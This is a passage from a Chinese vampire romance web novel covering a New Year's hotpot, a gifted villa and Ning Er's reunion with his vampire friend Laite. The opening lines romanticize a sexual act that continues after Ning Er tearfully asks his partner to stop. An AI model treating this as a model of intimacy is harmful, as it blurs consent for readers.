宁尔只记得身体的剧烈反应, 和心里的冲击让他眼泪一瞬间涌了出来, 全身却一点力气都没有,任由傅宴舟动作着。 他边流眼泪边语不成调地让傅宴舟停下,不可以这样, 傅宴舟仍屈膝蹲在地上不停。 虽然是他在“帮”宁尔,可偶尔抬起头和宁尔目光对视的刹那,分明是在欣赏他被自己弄哭的样子。 直到自己和昨天傅宴舟一样“结束”,傅宴舟才放过他。 他抱着宁尔去了浴室,帮他一起冲洗干净。 傅宴舟告诉他,只要他们的皮肤一接触,宁尔的体温就不再会冰冷。 反正就是不相信他是吸血鬼。 算了,反正人类有句名言。 你永远无法叫醒一个装睡的人。 “还要继续装睡吗?宝宝。” 傅宴舟的声音在耳边响起,宁尔脸蓦然一红,转身趴在床上不看他。 “现在几点了?” “10点。” 宁尔心里一惊,一骨碌翻过来: “又迟到了。” 傅宴舟蹙了蹙眉,揉揉他睡乱的头发: “这么喜欢上班?” “你是老板,总迟到,不好。还是因为……” “因为什么?”傅宴舟调笑地看着宁尔。 宁尔硬生生地把“因为干那种事”吞回肚子里,又倒头躺下了。 “今天是元旦节,公司放假。” 傅宴舟还是和宁尔解释了一句。 对哦,元旦。 宁尔又把人类新年这件事给忘了。 “那我今天一定得回家了哥哥。” 宁尔又一骨碌爬起来。 宁尔一走三四天,吃穿用住全是在傅宴舟这里,实在不好再打扰了。 而且他还靳伟元之约好过,元旦这天要一起吃火锅。 傅宴舟看着他,凑近了点: “用完哥哥就要走啊?” 宁尔脸一红,不知道他说得是用什么。 宁尔下半身藏着被子里,眨着眼睛看傅宴舟,傅宴舟没再说什么,嘴角微微上扬,最终点了点头,没有再留他。 宁尔主动在傅宴舟的脸颊上亲了亲,闻到他脸上清爽的剃须水的味道。 其实他早就醒来过了,只不过又陪自己躺回来了。 傅宴舟离开了宁尔的房间,宁尔去卫生间洗漱,把牙膏挤在电动牙刷上,放在嘴里嗡嗡嗡。 他脑子里忽然想到了去年他们三个一起挤在出租屋里吃火锅的情形。 他们一起凑钱买了一些肉卷,大部分是乌鸡肉,宁尔又在菜市场捡回来了所有要吃的素菜,样子虽然差一点,但洗干净切好之后也特别水灵。 元旦那天人类心情都很好,卖冻血店的老板还免费送了他一整块鸭血。 三个人就在窗前支起一个小锅,端着碗安安静静等待食材煮熟。 锅很小,食物熟得很慢,蒸腾的水蒸气把窗上的霜花融化,那是宁尔第一次感受到久违的温暖。 节日,朋友,家人。 脑子里三个人的画面逐渐清晰,宁尔忽然觉得,他好像不满足只有三个人了。 宁尔咕噜咕噜几下把牙刷完,擦了擦嘴快步跑到傅宴舟的卧室。 卧室门开着,床单被拉得很平整,房间里没有多余的东西,干净地仿佛没有住过的痕迹。 宁尔心里咯噔了一下,又跑回二楼找,还是没有人。 宁尔赶紧跑下一楼,傅宴舟以及穿好了衬衫,正准备拿大衣套在身上,他脚边是一只小型的黑色行李箱。 “你要去出差吗?” 上次舟先生就是忽然出差玩失踪,后来又出了那么大的事,宁尔现在看到他拎行李箱有种条件反射的害怕。 “为什么又没有提前告诉我一下?” 傅宴舟看着宁尔在身侧握起来的拳头,紧张起伏的胸口,愣了一下,动作停住,抬头看着宁尔: “不出差。” 宁尔动作明显地松了口气。 他后知后觉地松开握着的拳,眨着眼睛看向傅宴舟,快步走下楼指了指那只行李箱: “不出差为什么要带行李箱走?” 傅宴舟看到宁尔撅起来的小嘴和着急的神色,忍不住扬了扬嘴角: “宝宝有事?” 看到傅宴舟不愿意直接回答,宁尔感觉到自己过分紧张了,这种紧张被傅宴舟看在眼里有些脸红丢人,转移了一下视线,有些别扭道: “今天是元旦,我和靳伟元之,我最好的两个朋友,我们约好每年的元旦节一起吃火锅,就像家人一样。” “虽然我们的出租屋很小、很挤,但家里收拾地很干净。我今年赚了钱,可以买很多很多食材。如果你不嫌弃的话,愿不愿意和我们一起吃火锅?” 宁尔说完就有些后悔,元之和靳伟的出租屋不如傅宴舟别墅的一个卫生间大,他耳朵有点热,赶紧找补道: “或者我请你们去外面的饭店吃,好饭店,也可以的。” 傅宴舟沉默了一下,认真地看着宁尔: “你把我,当做家人了吗?” 宁尔有些不好意思,低垂眼帘点了点头: “我想到吃火锅的场景,就觉得如果有你在身边会更好。” 傅宴舟看着宁尔,眉眼间的温柔更重,喉咙滚了滚,伸手摸了摸宁尔的脑袋: “好。我吃。” “不过,我们也许可以换一个屋子吃?这里你觉得怎么样?正好可以邀请朋友们来参观一下。” “参观你的房子?” 宁尔惊讶,带朋友参观男朋友的房子也太夸张了,宁尔赶紧摇摇头。 傅宴舟笑了笑: “不是我的,你的。” “什么?” 宁尔听不明白什么意思,傅宴舟看着他认真道: “宝宝,新年快乐。” “这栋房子,是真正的新年礼物。” “别墅区对面是楼房小区,那里也有两套新房子。如果不愿意和朋友离开太远,随时欢迎他们入住。” “冒昧借宿几天,希望你不介意。” 傅宴舟边说边从口袋里掏出一把金属钥匙,拉起宁尔的手掌,郑重地放在宁尔手心里。 “尊敬的小吸血鬼殿下,希望你能够居住愉快。” 傅宴舟先带着行李走了,宁尔一个人呆呆地留在诺大的别墅里。 难怪这栋房子几乎没有居住过的痕迹,难怪所有的布置好像都未完成,等着有人去装饰。 难怪…… 难怪每一个房间都有红色的元素,就像第一次见面舟先生穿得那套红色西装一样。 他知道宁尔喜欢红色。 舟先生,送了他一套房子…… 手机震动声响起,刚好是陈元之的消息。 宁尔呆呆地敲着键盘: [元之,我不知道该怎么解释了,你自己来看吧……] 他们最终还是回出租屋吃了火锅。 靳伟和元之一大早就去买好了肉、菜,他们今年都有了钱,买得都是正儿八经的各类牛羊肉。 宁尔问他们傅宴舟能不能也一起去吃,靳伟和陈元之沉默了好几秒,宁尔就听到元之在电话里叫靳伟。 “怎么了元之?伟哥不愿意吗?” “没有,他好像去买帝王蟹了。” “不用这么夸张的。舟、舟先生其实好像挺平易近人的。” “是吧,我也觉得。” 陈元之的声音还算平静。 “啊啊啊啊啊靳伟我先回去收拾屋子了。” “……” 中午到了饭点,傅宴舟准时出现在他们的出租楼前。 他还贴心地让司机去别墅接了宁尔,特意开了一辆保姆车。 上车之后就可以全封闭,不用见任何阳光那种。 其实宁尔的等级很高,短暂地接触一会儿阳光也不会有特别大的反应,但只是很短暂的一会儿。 傅宴舟很客气,大大小小带了不少礼物。 宁尔说他太客气了,他已经给大家够多东西了。 傅宴舟问宁尔有没有见过定亲或者结婚。 宁尔说没见过。 傅宴舟凑到宁尔耳边,低声告诉他,订婚见娘家人都要这样。 宁尔脸一红,带傅宴舟上楼。 这顿饭元之表现还算自然,有话就说,也不会顾忌考虑那么多。 靳伟就不一样了。 他本来就话少,可自己上司的上司的上司,传说中的傅宴舟。 从前总让宁尔别做梦了,如今却和宁尔的梦中情人坐在一起吃饭。 整场火锅他基本没什么话,但还是有一个习惯性给宁尔夹菜的动作。 等到和傅宴舟两人的筷子撞在一起时候,靳伟意识到不对,怕傅宴舟多想,赶紧放下筷子。 傅宴舟让他不用紧张,亲自给几个人都倒了一杯酒。 靳伟看着酒眼馋,但自从当司机后,随时提防着突发情况,基本已经戒了酒。 傅宴舟也不知道看出了什么,拿出手机发了个消息,没过一会儿就拿着手机给靳伟看。 靳伟看到那是肖特助和朱总的微信对话。 朱总一听靳伟是和傅总在一起,就差说一句三生有幸直接把靳伟送给傅总了。 靳伟得了允许,几个人都喝了几杯。 冬日的红酒进到肚子里暖烘烘的,更别提是和最好的朋友和爱人一起煮火锅。 酒足饭饱,傅宴舟说他先回趟公司,晚上邀请他们一起去游乐园看盛景的灯光秀。 宁尔想起了盛景灯光秀这事,就是在元旦这天,比那次的临时秀更好看。 宁尔一听能和傅宴舟一起去游乐园,开心得不得了。 上次去他就暗暗想以后有机会一定要带舟先生来,最好能看到灯光秀,阴差阳错,都实现了。 晚上他依旧直播着,和傅宴舟来到了游乐园。 他们一起在倒计时下上了摩天轮,随着摩天轮缓缓升空,宁尔仿佛看到了盛景外围和远处聚集了很多黑压压的人影。 他们也都是来看灯光秀的。 随着摩天轮升顶,烟花和灯光一起盛绽。 宁尔赶紧戳了戳傅宴舟: “哥哥,许愿。” “许愿?” 宁尔赶紧点点头: “传说摩天轮升到最高点时候许愿很灵验的!” 宁尔说完就闭上眼,有模有样地幻想起来。 他幻想的时候一直在默念。 傅宴舟很明显地听到他说“第一”、“第二”,等到“第三”的时候宁尔忽然猛地睁开眼,双手抱着傅宴舟的脖子吻了上去。 傅宴舟被亲的猝不及防,搂住宁尔撞过来的身体,认真地享用了这个小朋友的吻。 升空,降低,烟花,夜色,灯光。 傅宴舟认真地看着宁尔: “我才排第三么?” 宁尔瞪大眼睛: “你偷听我许愿?愿望被别人听到就不灵了的。” 傅宴舟嗤笑了一声: “向我许愿,是最快的方式。” “……” “那哥哥呢?哥哥真的什么愿望都没有吗?” “当然有。” “你直播间欠我的许愿定制语音,之后用那个。” 一场精彩的灯光秀完成,过了0点,又到了分别的时候。 宁尔今晚决定先回出租屋收拾收拾东西,傅宴舟也没拦他,两人从游乐园出来,傅宴舟说他要先回公司顺便拿个文件,问宁尔困不困。 宁尔表示不困,跟车一起来到了盛景楼下。 他已经很久没有来盛景了,宁尔坐在车里,一边欣赏着这座大楼一边等傅宴舟,光影错落,正当他看到傅宴舟从楼里走出来时,一道更加熟悉的身影猛地从他车前经过。 那身影故意低着头戴着帽子,但仍旧能看出来是一个和他年龄差不多的少年。 与其说是身影,更不如说是气味。 同一种族的气味。 莱特!—— 作者有话说: 哦吼 第64章 找到人了 宁尔浑身的血液似乎都凝固了, 冰冷到他几乎僵在了车上。 等到反应过来的一刻,宁尔几乎是失去了理智,他迫切地想打开车门, 因为着急一瞬间忘记了怎么开车门。 司机被他的动作吓了一跳, 赶紧帮忙开门。 可能是宁尔弄出来的动静太大, 吸血鬼的警觉让莱特迅速反应,几乎在听到声音的一瞬间就消失在了黑夜里。 宁尔不敢大声呼喊, 低声在嗓子里喝出一声“莱特”, 下车时候险些崴了脚。 “小耳朵。” 一道身影眼疾手快冲到宁尔, 傅宴舟一把把人扶住: “怎么了?” 宁尔拼命摇头: “哥哥我等会儿再和解释, 我现在要去追人。” “怎么办不见了。” 吸血鬼的速度宁尔当然清楚, 只是在他下车耽误的那些时间,就足够莱特跑走了。 可那是莱特啊! 那是一只吸血鬼莱特, 他最好的朋友莱特,唯一知道他所有秘密的莱特,他出现在盛景大楼的门前,哪怕冒着被傅宴舟发现的风险,哪怕知道可能会追不上, 宁尔也不能停下脚步。 宁尔想推开傅宴舟的手,可他此刻失去理智的样子让傅宴舟难以放心他一个人追出去。 傅宴舟手上加重了力道把宁尔拉住,搂在怀里: “小耳朵,冷静点,先冷静点。” “不行, 哥哥, 不行……” “我们不追了,你要找什么人我都可以帮你找到。” 宁尔仍旧用力摇头,急得都快飚出眼泪了: “找不到的, 找不到他的。” “一个年龄和你差不多大,肤色很白的男孩,是吗?” 宁尔瞬间安静了下来。 他眨着带着泪水的眼睛,看着傅宴舟: “哥哥,你……知道他?” “如果是他,哥哥一定能找到。” 宁尔感觉自己的一颗心刹那间回到了肚子里,渐渐恢复了一点理智,眨眼看着傅宴舟。 傅宴舟看他一点点恢复平静,松开了紧攥着宁尔的手,嘴角稍稍扬了扬: “所以,他是谁?” 司机恭敬地打开车门,宁尔跟着傅宴舟坐进车里,傅宴舟把车上的格挡升起,后排成了透不出任何声音的密闭空间。 傅宴舟拿出一袋冰镇的石榴汁,扎开孔,递给宁尔: “别紧张,用你方便的方式讲就可以。” “不讲也可以。” 傅宴舟言语温和,宁尔仿佛有些疑惑,抬起脑袋疑惑他这句话。 傅宴舟展颜,耐心为他解释道: “你有自己的权利空间保留自己的秘密,结交自己的朋友。只要不受到伤害,或者伤害爱人就可以。” 傅宴舟说完摸了摸他的脑袋。 他的话让宁尔更加安心。刚才那种一瞬间“害怕被舟先生发现”的心思荡然无存。 宁尔顿了顿,思考了一会儿,开口道: “他是我,从前、小时候的朋友。最好的朋友。” “是你‘家’的朋友?” 宁尔点点头。 “你们之间很久没有联系了吗?” 宁尔又点点头: “我走的时候,我们之间没有留联系方式。他今天能够出现在这里,我很惊讶。” 莱特当初是偷了家族的蓝宝石,冒死带他出逃,两个鬼本来是想逃到其他大陆上,结果宁尔失足来到人类世界。 他来人类世界摸爬滚打了一年,此刻才能喝饱血、不见阳光。 莱特没有任何他的联系方式,他在人类世界经历了多少困难,才能准确地知道宁尔在盛景? “他是,能够带你回家的人,对吗?” 傅宴舟显然还是不太清楚宁尔“回家”的意义,只是顺着他的反应和逻辑猜测。 宁尔又点点头,然后他有些疑惑道: “哥哥,你怎么知道,他和我差不多大,皮肤偏白?你见过他?他之前就来找过我吗?” 傅宴舟沉默了一下,摇摇头: “没见过。” “肖特助恰好见过一次,因为说过皮肤像你一样白有所留意。我会去找人,有消息第一时间告诉你。” 傅宴舟在A市找个特征这么明显的人应该并不算太难,宁尔心彻底放回肚子里,他又补充道: “哥哥,他可能和我一样,不喜欢白天出门,胆子也很小,请你,找他的时候,别吓到他。” 傅宴舟又温柔地摸了摸宁尔的头: “放心,一定不会。” “他叫什么?” “莱特。”宁尔想都没想脱口而出。 傅宴舟愣了两秒: “英文名?” “……” “咳咳,小学时候英文老师帮忙取的。” 傅宴舟点点头,没再说什么。 宁尔被他送回了出租屋,和傅宴舟告别之后下车。 从发现来宝石到认识舟先生,再到发现舟先生就是傅宴舟,到今天遇到莱特。 回家的可能性好像越来越大了。 而且,不管莱特究竟是为什么出现在人类世界,至少,他是活着的。 公爵他们,没有因为自己过分迁怒于他。 那是不是,也许他们也没有那么厌恶自己…… 宁尔的心理充满了一点新的力量,一步一步走回自己的出租屋- 傅宴舟回到家中,脱掉外套,睡衣都没换,直接走进书房。 打开一个英文网址又认真浏览了一遍。 浏览过后,傅宴舟又调出一份资料。 一份类似于个人简介的资料。 照片是一个皮肤苍白的男孩,傅宴舟抬手,在姓名那栏填上了“莱特”。 下面是他的到访时间。 五次。 一个月内,出现在盛景门前五次。 傅宴舟手指继续往下滑,备注那栏赫然是肖特助的亲自记录。 傅宴舟看着那条备注,指尖在桌面上轻轻敲打。 [已告知其可以帮忙联系宁尔,问询是否需要愿意留下联系方式。……对方已拒绝。]- 宁尔第二天就“被”搬了家。 在出租屋里饱饱地睡了一觉,醒来傅宴舟就告诉他等会儿会有搬家公司上门。 宁尔在出租屋里的东西少得可怜,一辆小车就足够拉走。 宁尔问靳伟和元之愿不愿意搬,元之说他无所谓啊,有人送房子他当然乐意住。 靳伟起初是不愿意的,他这么多年混社会没欠过别人的,自己有手有脚,怎么能轻易接受这么贵重的赠礼。 宁尔了解靳伟要强的性格和自尊,没想劝他,只是有些惋惜他们以后要住得远了。 元之一看靳伟这态度,和宁尔说了一句他俩要私聊一下,两个人进了卧室,不知道说了一会儿什么,再出来靳伟虽然耷拉着脑袋有点不情愿,但也同意搬过去了。 不过说好他俩住一间房子就可以,而且算租,每年按照市场价给傅宴舟交房租。 宁尔一听他们又能住在不远了,立马眉开眼笑,打心底里高兴。 至于靳伟和元之付得租金,宁尔早就想好了,他的账户里只是傅宴舟打赏的那些钱都够自己这辈子在人类世界用了。 不止是自己。 如果有一天自己离开人类世界,哪怕不离开,他也会把这些钱分一分,大多数都留给靳伟和元之。 他们的房子的确只隔着一条马路,当天三个人就都各自搬了进去。 宁尔在这个家具、录音房一应俱全的别墅里住着,只有舒适便利度的提高,没有半点不适。 舟先生还帮他请了一位保姆阿姨,那个之前总接送他的司机也成为了宁尔的专职司机。 衣食住行,宁尔仿佛一下子变成了天生有钱锦衣玉食的小少爷。 晚上直播时候,细心的粉丝早就听出来宁尔的声音设备又有变化,一起问他现在到底在哪,是不是在傅宴舟家。 宁尔支支吾吾了一会儿,也不愿意骗人,有些不好意思地回答是在自己的房子。 舟先生送给他的房子。 评论区瞬间又炸了。 [呜呜呜呜耳宝终于可以离开那个危险的出租屋区了!!] [是的是的,原来住得那片区太混杂了,真的很担心。] [虽说A市治安可以,那里白天我们都不太敢去。] [这就是有钱人吗?送房子简直像送束花一样简单!!] [没那么难] [耳宝你在拍卖会晚上那天的衣服好漂亮啊,我们在热搜上看到了。] [对对对,和傅总的互动照片kswl!!] [有一张傅总明显看镜头了,知道在拍还故意凑近,真的要甜晕了。] [又送房子又宴会高调官宣,谁深情了我不说呜呜呜呜] 其实当得知舟先生竟然是大名鼎鼎的傅宴舟时,粉丝们除了惊喜还隐约有些担心。 经常换伴侣的有钱霸总屡见不鲜,更何况他们真的只是直播认识的关系。 那样的霸总尚且如此,粉丝们一度都想象不到傅宴舟这样的人物会怎样处理感情舆论。 甚至一度猜想过傅宴舟会不会从此不让宁尔再直播。 毕竟,也许这份工作在有钱人眼里并不体面。 可现在傅宴舟不仅没有干涉宁尔的任何直播,反倒是缘来因为傅宴舟的入股,用户规模瞬间大了几倍,本就是头部主播的宁尔更加名声大噪。 还高调官宣,送了他大房子住。 宁尔一个小吸血鬼倒是从来没想过什么工作体不体面,也没想过傅宴舟带他参加宴会是官宣的意思,他压根不懂得这些。 此刻看着大家的祝福和嗑cp,他只觉得的确很甜蜜。 宁尔一边每天直播,一边期盼着关于莱特的消息。 直到三天后的晚上,傅宴舟的车停在别墅门口。 宁尔远远地听到了汽车声音,他心中隐约有种预感,穿着毛衣拖鞋就跑出了门。 1月天气寒冷,傅宴舟下车,快走几步牵住宁尔的手: “怎么不穿衣服就跑出来?” 宁尔抬头,看着傅宴舟的眼睛,喉咙上下滚动了一下,声音有些微微颤抖: “哥哥,是不是……” 宁尔话顿在这里,牵着傅宴舟的手力气更重了点。 傅宴舟低头,看着宁尔漂亮的绿色眼睛: “嗯,找到人了。” 第65章 毕竟我们要住在一起啊,…… 汽车从别墅开到盛景的时间并不久, 宁尔却感觉过了一个世纪那么漫长。 很多念头在他脑子里闪过。 好的,坏的。 他一路上没有和傅宴舟说话,对方也看出来他的紧张, 只紧紧地握着宁尔的手。 傅宴舟把莱特请到了盛景的会客室。 车停到专用车库, 宁尔和傅宴舟走进电梯时候, 才意识到自己手都有些微微浸湿了。 宁尔察觉到自己的过度紧张,害怕舟先生可能误会, 有些不好意思地偷偷看了他一眼。 下一秒, 傅宴舟忽然拉起宁尔的手, 从大衣外伸进去, 紧紧贴住了衬衫包裹的坚实胸膛。 宁尔手背触到傅宴舟温热的胸肌, 脸一红,下意识看了一眼电梯监控: “哥哥你干嘛。” 傅宴舟笑了笑, 看了他一眼: “心跳,快吗?” 宁尔好像因为紧张,手有些发麻,竟然摸不太出来。 于是他很自然地稍稍低头,把耳朵贴凑到傅宴舟的胸膛上。 傅宴舟身体僵了一下, 把大衣扯松点,任由他脑袋蹭来蹭去。 “好像挺快的……” 宁尔刚刚听清,电梯门忽然开了,早就等在门口的肖特助看到这一幕,立马光速转身。 宁尔的动作被误会了, 更是直接红了脸, 不敢抬头看门外。 傅宴舟笑着揽起宁尔,在他耳边道: “其实哥哥和你一样很紧张。” “没什么不好意思的。” 说罢他捏了捏宁尔的手,带着宁尔走出了电梯。 来到会议室前, 傅宴舟松开宁尔的手,又摸了摸他的头,示意自己先去隔壁等。 宁尔点了点头,深吸了一口气,确定整条走廊都没人之后,敲门走进了会客室。 会客室的灯没有打开。 宁尔推开厚重的隔音门,里面黑漆漆的一片。 尽管如此,他还是能闻到那种熟悉的气味,感受到熟悉的呼吸频率。 “莱特?” 宁尔声音颤抖问道。 “我要打开灯了,别怕,我是宁尔。只有我一个人。” 宁尔说完打开了墙上的灯。 莱特坐在沙发的角落里,脸色苍白,一头卷毛乱蓬蓬的,褐色的眼睛睁得很大,穿着一身单薄的衣服,一动不动地看着宁尔。 “莱特!” “宁、宁尔。” 莱特站起身,宁尔立马冲过去,激动地和他拥抱了一下。 这种拥抱和傅宴舟抱抱的感觉完全不同,只是对仿佛失而复得友谊的激动。 宁尔看着莱特,他感觉有一万个问题要和对方聊,一时间不知道从哪里开始说起。 莱特好像并没有适应在这里聊天,神情中都是警惕。 宁尔拍了拍他的后背,像小时候那样安慰他: “莱特,你不要害怕,这里很安全,这里很安全,这里的人类都不会伤害我们。” “是我让他们把你找来的,你放心。” 莱特神色稍稍放松下来,宁尔把他重新拉回沙发上坐下,顾不了多少寒暄,把自己的问题一股脑都问出来。 和莱特交流宁尔得知,自己离开之后,公爵和公爵夫人果然震怒,派人去其他地方四处寻找,还把莱特关了起来严格审问。 去其他大陆的生存难度远比人类世界小,而宁尔本就是误入人类世界,所以他们的注意力并没有放在人类世界上。 宁尔被当做王子一样养了18年,过了18年锦衣玉食的生活,拥有着血统与生俱来的权力,却在成鬼礼的基因检测上出了异样。 检测报告显示,宁尔和公爵夫妇不存在基因重合。 吸血鬼家族,血脉即权力。 同一血脉尚且要分高级低级,更何况他这个没有血缘关系的异类。 宁尔清楚记得,上一代一个冒充家族成员的异类最终被血刑官处以极刑。 恐惧在周身蔓延,一向温文尔雅、性情善良的少爷霎那间没有了决断。 只有这个从小和他一起长大,像亲兄弟一样的莱特果断告诉他,跑。 趁公爵夫妇回来知道基因检测结果之前离开。 莱特比宁尔小一岁,却在这时候展示出了远超宁尔的能力。 他联系到了其他大陆的一位贵族朋友,莱特曾经对他有过救命之恩,这份恩情足以让他暂时收留宁尔。 最后的结果,就是宁尔误入人类世界,几次三番险些死掉。 “所以你是怎么跑出来的,莱特?爸妈……公爵夫妇有没有惩罚你?” 莱特有些神色痛苦地摇摇头,仿佛不愿意回忆那些事: “他们逼问我你在哪里,我没有说,他们要把我扔到东极大陆,我,我不想去,努力‘失足’掉到了人类世界。” “来到人类世界后,我没有钱,白天不能出门,只能先从‘夜班’做起。我找了很多力气活做,直到有一天,一个工头说我的皮肤和他见过的一个小男孩一样白。我才猜到,那个人可能是你。” 莱特顺着那一点点的信息,一路顺着宁尔的打工路线寻找,最终终于打听到宁尔现在好像在一家叫做盛景的公司。 “宁尔,我也没办法回去了。” 莱特哭丧着脸。 宁尔早就料到了,通往各个大陆世界的蓝宝石归公爵夫妇掌管,宁尔在的时候能偷出来一次,仅凭莱特一个人,怎么可能带着蓝宝石畅行。 “宁尔,我们会不会一辈子都会要困在人类世界了?” 莱特身高比他高一点,平时跟在他身边也算优雅公子,现在却哭丧着脸这样。 不知道是不是这段日子跟着傅宴舟学坏了,宁尔忽然不合时宜地有些玩心,问他: “莱特,你很怕一辈子待在人类世界吗?” 莱特睁大眼睛眨眨: “当然了!难道你不怕吗?” 宁尔大大咧咧往沙发上一靠: “我倒是觉得人类世界挺好的。有好多从前没吃过的好吃的,有大房子住,还可以泡热水澡呢。” “宁尔你……” 莱特一副宁尔背叛了种族,恨其不争、难以置信的样子。 他紧紧地握着双拳,脸上复杂地挣扎了一会儿,然后稍稍低下头: “好吧,那我就一辈子和你待在人类世界吧。” 莱特这一举动一瞬间戳中了宁尔的心。 他们之间的友谊就是如此,哪怕他说要一辈子待在人类世界,莱特也愿意和他一起。 宁尔收敛起了玩笑,看着莱特认真问: “莱特,你来到人类世界之后有没有伤害过人类?” 莱特认真回想了一会儿,摇摇头: “没有。” “真的?”宁尔看到莱特的犹豫,有些担心。 莱特摇摇头: “真的没有。有一次夜里一个两辆车撞在了一起,还是我去把车分开,车上的人流了血,我、我都忍住了。” 宁尔点点头: “莱特,我们,有机会回去的。” 莱特眼神瞬间惊变了一刹,赶紧伸长脖子问宁尔: “真的吗?为什么?” “因为我发现了人类世界那颗可以通行异界的蓝宝石,就在A市。也许,这也是为什么我们来到人类社会都是以A市为起始点的原因。” 宁尔一开始也好奇过,为什么他会那么巧就发现蓝宝石,而且恰好在A市。后来他渐渐想明白,也许正是因为蓝宝石之间的相互吸引,他才会恰好来到A市。 “蓝宝石?通行异界的蓝宝石?在哪里?” 宁尔笃定的点点头,指了指这栋楼: “这栋楼的主人那里。” 莱特更震惊了,他努力冷静了一下,揉了揉本来就乱蓬蓬的头发: “那……这个人类,他知道蓝宝石可以用来通行异界吗?他愿意给我们吗?你和他……有关系吗?” “宁尔,你伤害他了?” 莱特实在想不明白宁尔和一个人类,尤其是拥有蓝宝石的人类。 只有一种可能,那就是宁尔用了超过人类的能力伤害或者控制了他。 宁尔有些不知道该怎么和莱特解释他和傅宴舟的关系,有些偷偷害羞地轻咳了一声: “没、没有。我、我们……反正我没有伤害他啦……” “不过蓝宝石的事我还并没有和他说,他也不知道我们的身份。这件事还需要再好好想一想。” “莱特,你记住,无论什么情况下,千万不要伤害任何人类。” “人类的法律和科技都十分先进严格,并且存在机密的收治机构。一旦我们伤害了人类,可能连存活下去都有困难。” 宁尔在人类世界的时间远比莱特久,莱特听着他告诫,手指微微动了动,然后重重地点了点头。 “好,我会的。” “宁尔,那我、我们之后去哪里住呢?” 莱特和小时候一样,自然地跟着他。 他俩住在一起这件事实在太天经地义了,更何况是在彼此依靠的人类世界。 宁尔想都没想,刚要说什么,门口就响起来几声轻盈的敲门声: “方便进来吗?” 莱特听到陌生人的声音,下意识就要往角落里躲。 宁尔赶忙摆手示意他不用害怕,走到门口打开门,让傅宴舟进来。 傅宴舟手里亲自拎着一大包各式各样的零食,脸上带着一个神色温和的笑容,扬了扬手里的零食: “不知道你的小伙伴喜欢吃什么,按照你的爱好准备了一些小朋友的零食。” 傅宴舟从来没有这么和煦温柔过,应该是怕吓到宁尔的朋友,故意在表现。 宁尔惊喜地接过他手里的零食,看着莱特给傅宴舟介绍: “哥哥,这是我从小到大最好的朋友,莱特。” “莱特,这位是……傅宴舟。盛景集团的董事长。” 宁尔边说边有些脸红。 傅宴舟大步走上前,朝着莱特伸出手。 莱特看了一眼宁尔,有些不自然地伸出手和傅宴舟握了一下。 只一下,他就感觉到了这个人类的皮肤很烫。 对方当然也能感觉到他的皮肤很凉。 莱特在温度交换的一刹那飞速抬头看了一眼傅宴舟,对方却像没事儿人一样,转头问宁尔: “我只有这个身份么?” 宁尔不知道怎么能让莱特接受人鬼男男恋这个事实,动了动嘴不知道怎么解释。 幸亏傅宴舟没有追问,而是转移了话题: “你们继续聊,我出去等。” 宁尔赶忙拉住傅宴舟: “不,不用聊了。” 该问的要紧的已经都聊完了,其他的也不是一时半会儿能说清楚的。 傅宴舟见状看了一眼腕表,时间确实不早了: “那……我们先送你的朋友回去?” “哥哥。” 宁尔叫了一声傅宴舟: “不用送莱特回去了。他、他在这里没有什么房子……” 傅宴舟的停顿转瞬即逝,仿佛已经做好过准备: “这个简单,先在澜·峰住几天,之后可以和靳伟他们一样也住在你对面。” 宁尔有种傅宴舟是收容所所长一样,任由宁尔到处捡人回来,还得给他们安排住处的感觉,有些不好意思地吐了吐舌头。 再看莱特,一只白皙的手已经拽住了宁尔的袖子,在他身后目光幽幽地一直摇头。 宁尔当然懂他的意思,有些无奈和傅宴舟解释: “哥哥,还是不用了,你送我的房子,很大,还有空房间,莱特以后和我一起住就好了。” 宁尔越说越心虚,声音不由地低下来。 他和莱特从小就在一个城堡里,并没有觉得有什么不对。 可现在他和傅宴舟谈起了恋爱,莱特又是一个“男”鬼,哪怕宁尔心里知道完全没什么,可说出来,还是对着傅宴舟说出来,的确有点别扭。 果然,傅宴舟敛眸反驳: “你们,住在一起?恐怕会有些不方便吧。” 宁尔赶紧摇摇头: “没事的哥哥,不会不方便,莱特住在二楼就可以,我们不会互相打扰。” 莱特哪怕还不清楚傅宴舟和宁尔的关系,此刻却也大着胆子硬邦邦说了一句: “要住在一起。” 傅宴舟笑了笑,走近宁尔一步: “不是打扰你,是打扰我们。” 他边说边把学着莱特的样子,更用力地把宁尔的袖子从他手中抽出来,拽在自己手里,高大的身影微微低头,深邃的眼神充满了无辜,语气都仿佛有些委屈: “毕竟,我们要住在一起啊,宝宝。”—— 作者有话说: 你老攻茶起来还有别人什么事~ 第66章 宁尔,我好像撞死人了…… 宁尔难以置信地抬头看着傅宴舟。 昔日里严肃沉稳的霸总, 此刻正拽着宁尔的袖子“撒娇”,这种熟悉又陌生的感觉让宁尔觉得无比诡异。 他愣住了,莱特更是一动不动。 傅宴舟朝莱特看了一眼, 牵起宁尔的手, 大方道: “刚刚忘了介绍, 我是宁尔的男朋友。我们,是恋人。” 莱特看着他们两个牵在一起的手, 又看向宁尔, 震惊地说不出话。 “如果莱特先生实在想和我们住在一起, 我倒是也不介意。希望……不会打扰到你。” 宁尔瞬间开始脑补“打扰”两个字是什么意思, 脸一红, 皱起眉毛看着傅宴舟眨眼。 傅宴舟把两个小朋友硬生生拆散,看他俩都没了异议, 叫肖特助亲自把客人送到澜·峰,还叮嘱要最好的房间。 宁尔知道莱特连手机都没有,走之前又给了莱特一只备用机,把自己的手机号输入进去,又给了他自己别墅的地址, 用两个人的手机反复拨打了几遍,确认不会再失联之后,才依依不舍地离开和莱特分开。 送走莱特之后,傅宴舟也开车送宁尔会别墅。 一回到家宁尔傻眼了,家门口停了几辆保姆车, 车上都是各种打包好行李。 “哥哥, 你真的要搬进来?” “不欢迎吗?刚刚不是挺欢迎莱特。” 宁尔听着他的语气有些哭笑不得。 傅宴舟甚至都没和他商量一下,直接大张旗鼓决定搬进来,反应是不是有点大了? 宁尔看着搬行李的人, 轻轻戳了戳傅宴舟: “哥哥,你……是不是吃醋了?” 傅宴舟故作轻松地耸了耸肩: “怎么会?哥哥像是那么小心眼的人吗?” 宁尔想了想,倒也确实不像。 “宝宝,你觉得哥哥帅还是莱特帅?” “…………” 傅宴舟的东西很快被分置在别墅的各个地方,他还假装客气了一下,假惺惺地选择了之前那个在宁尔对面的卧室。 宁尔心里忍不住哼唧了两声。 现在选这里有什么用。 晚上说不定就会有10000个理由出现在自己床上抱着他睡觉。 宁尔洗完澡,傅宴舟也刚好也洗完澡出来: “去天台聊聊?” 宁尔点点头:“好。” 傅宴舟开了一瓶红酒,天台冬天修建了一坐玻璃房,既不遮挡视线,也能保持室内恒温。 宁尔接过一杯红酒,兀自端起酒杯一饮而尽。 